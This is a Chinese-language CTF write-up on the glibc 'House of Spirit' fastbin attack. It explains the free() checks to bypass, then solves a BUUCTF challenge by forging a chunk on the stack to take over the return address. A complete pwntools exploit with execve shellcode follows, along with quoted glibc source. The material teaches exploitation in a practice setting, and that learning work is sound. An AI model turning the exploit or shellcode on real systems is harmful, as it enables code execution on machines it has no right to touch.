# house-of-spirit

漏洞成因

堆溢出写

适用范围

  • 2.23 —— 至今

# 概要:

该技术的核心在于在目标位置处伪造 fastbin chunk,并将其释放,从而达到分配指定地址的 chunk 的目的。

# 绕过检测:

  • fake chunk 的 ISMMAP 位不能为 1, 因为 free 时,如果是 mmap 的 chunk, 会单独处理
  • fake chunk 地址需要对齐, MALLOC_ALIGN_MASK
  • fake chunk 的 size 大小需要满足对应的 fastbin 的需求,同时也得对齐
  • fake chunk 的 next chunk 的大小不能小于 2 * SIZE_SZ,同时也不能大于 av->system_mem
  • fake chunk 对应的 fastbin 链表头部不能是该 fake chunk,即不能构成 double free 的情况

# 利用思路:

one:

  • 申请 chunk A、chunk B、chunk C、chunk D
  • A 写操作的时候溢出,修改 Bsize 域,使其能包括 chunk C
  • 释放 B ,然后把 B 申请回来,再释放 C ,则可以通过读写 B 来控制 C 的内容

two:

  • 在栈中构造 fake chunk,大小覆盖掉函数的返回地址,再次分配得到返回地址控制,写入 one_gadget 或者 shellcode 地址。

  • 注意如果构造 fastbin,free 函数会检测 next chunk 的大小与当前的 fake chunk 大小是否一致,需要绕过!

three:

  • 伪造堆块:在可控的两个堆块构造好数据,将它伪造成一个 fastbin

  • 覆盖堆指针指向上一步伪造的堆块

  • 释放堆块,将伪造的堆块释放入 fastbin 的单链表里面

  • 申请堆块,将刚刚释放的堆块申请出来,最终使得可以往目标区域中写入数据,实现目的

# 例题:

BUUCTF 在线评测 (buuoj.cn)

image-20240711205503306

存在 rwx,可以在栈上放 shellcode

image-20240711213614053

可以泄露 rbp

image-20240711210319465

image-20240711211709494

存在溢出,buf 可以溢出到 dest 变量

写之前

image-20240711214315664

写之后

image-20240711214405880

image-20240711205554791

只能去申请 0-0x80 大小的 chunk。可以看到 ptr 会被再次申请回来。而 dele 可以去 free 之前的 ptr。

所以我们可以去覆写 ptr,从而劫持返回地址,写入 shellcode 即可。

pl = p64(0)*4 + p64(0) + p64(0x51) + p64(rbp-0x98)

伪造 fake_chunk—— 可惜这样并不行。

原因:堆是向高地址生长的,而栈是有低地址生长的

pl = p64(0) + p64(0x61) + p64(0) + p64(0) + p64(0) + p64(0)*2 + p64(rbp-0xb0)

注意:一样要注意再次 malloc 时堆块的大小,否则此检查不过

fail = (chunksize_nomask (chunk_at_offset (p, size)) <= 2 * SIZE_SZ
		    || chunksize (chunk_at_offset (p, size)) >= av->system_mem);
	    __libc_lock_unlock (av->mutex);
	  }
	if (fail)
	  malloc_printerr ("free(): invalid next size (fast)");

# 完整 exp:

'''
huan_attack_pwn
'''
import sys
from pwn import *
# from LibcSearcher import *
# from ctypes import *
context(arch='amd64', os='linux', log_level='debug')
# context(arch='i386' , os='linux', log_level='debug')
binary = './pwn'
libc = './pwn'
# host, port = ":".split(":")
print(('\033[31;40mremote\033[0m: (y)\n'
    '\033[32;40mprocess\033[0m: (n)'))
if sys.argv[1] == 'y':
    r = remote(host, int(port))
else:
    r = process(binary)
# r = gdb.debug(binary)
# libc = cdll.LoadLibrary(libc)
# libc = ELF(libc)
# elf = ELF(binary)
# srand = libc.srand (libc.time (0)) #设置种子
default = 1
se      = lambda data                     : r.send(data)
sa      = lambda delim, data              : r.sendafter(delim, data)
sl      = lambda data                     : r.sendline(data)
sla     = lambda delim, data              : r.sendlineafter(delim, data)
rc      = lambda numb=4096                : r.recv(numb)
rl      = lambda time=default             : r.recvline(timeout=time)
ru      = lambda delims, time=default     : r.recvuntil(delims,timeout=time)
rpu     = lambda delims, time=default     : r.recvuntil(delims,timeout=time,drop=True)
uu32    = lambda data                     : u32(data.ljust(4, b'\0'))
uu64    = lambda data                     : u64(data.ljust(8, b'\0'))
lic     = lambda data                     : uu64(ru(data)[-6:])
padding = lambda length                   : b'Yhuan' * (length // 5) + b'Y' * (length % 5)
lg      = lambda var_name                 : log.success(f'{var_name}:' + hex(eval(var_name)))
prl     = lambda var_name                 : print(len(var_name))
debug   = lambda command=''               : gdb.attach(r,command)
it      = lambda                          : r.interactive()
shellcode = b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05'
sa(b'who are u?\n',b'a'.ljust(0x30,b'\x90'))
rc(0x30)
rbp = u64(rc(6).ljust(8,b'\0'))
lg('rbp')
sla(b'give me your id ~~?\n','97')
pl = p64(0) + p64(0x61) + p64(0) + p64(0) + p64(0) + p64(0)*2 + p64(rbp-0xb0)
sa(b"give me money~\n",pl)
ru(b'your choice : ')
sl(b'2')
sl(b'1')
sl('80')
se(shellcode.ljust(0x30,b'\0') + p64(0) + p64(rbp - 0x68 - 0x30 - 0x18))
ru(b'3. goodbye')
sl('3')
it()

image-20240712090910366

总结:此次攻击 fake 堆块到栈上,从而劫持返回地址。注意的问题,需要 malloc 出 fake_chunk 的 size 要合适。堆栈反向增长,这里一定要注意。(一定要注意回车适合输入!

参考

https://www.roderickchan.cn/zh-cn/2023-02-27-house-of-all-about-glibc-heap-exploitation/#2-house-of 系列

https://panda0s.top/2021/06/10/house-of-spirit/

https://bbs.kanxue.com/thread-266355.htm

https://lantern.cool/note-pwn-house-of-spirit/index.html

增文:

void __libc_free(void *mem) {
    mstate ar_ptr;
    mchunkptr p;
    void (*hook)(void *, const void *) = atomic_forced_read (__free_hook);
    if (__builtin_expect(hook != NULL, 0)) {
        (*hook)(mem, RETURN_ADDRESS(0));
        return;
    }
    if (mem == 0)
        return;
    p = mem2chunk(mem);
    /* 首先 M 标志位不能被置上才能绕过。release mmapped memory. */
    if (chunk_is_mmapped(p)){
        if (!mp_.no_dyn_threshold
                && p->size
                        > mp_.mmap_threshold&& p->size <= DEFAULT_MMAP_THRESHOLD_MAX) {
            mp_.mmap_threshold = chunksize(p);
            mp_.trim_threshold = 2 * mp_.mmap_threshold;
            LIBC_PROBE (memory_mallopt_free_dyn_thresholds, 2,
                    mp_.mmap_threshold, mp_.trim_threshold);
        }
        munmap_chunk(p);
        return;
    }
    ar_ptr = arena_for_chunk(p);
    _int_free(ar_ptr, p, 0);
}
 void
 _int_free(mstate av, Void_t* mem)
 {
   mchunkptr       p;           /* chunk corresponding to mem */
   INTERNAL_SIZE_T size;        /* its size */
   mfastbinptr*    fb;          /* associated fastbin */
   // ...
  p = mem2chunk(mem);
  size = chunksize(p);
 
  // ...
 
  /*
    If eligible, place chunk on a fastbin so it can be found
    and used quickly in malloc.
  */
 
  if ((unsigned long)(size) <= (unsigned long)(av->max_fast)   /* 其次,size 的大小不能超过 fastbin 的最大值 */
 
#if TRIM_FASTBINS
      /*
       If TRIM_FASTBINS set, don't place chunks
       bordering top into fastbins
      */
      && (chunk_at_offset(p, size) != av->top)
#endif
      ) {
 
    if (__builtin_expect (chunk_at_offset (p, size)->size <= 2 * SIZE_SZ, 0)
       || __builtin_expect (chunksize (chunk_at_offset (p, size))
                         >= av->system_mem, 0))                        /* 最后是下一个堆块的大小,要大于 2*SIZE_ZE 小于 system_mem*/
      {
       errstr = "free(): invalid next size (fast)";
       goto errout;
      }
 
    //...
    fb = &(av->fastbins[fastbin_index(size)]);
    //...
    p->fd = *fb;
  }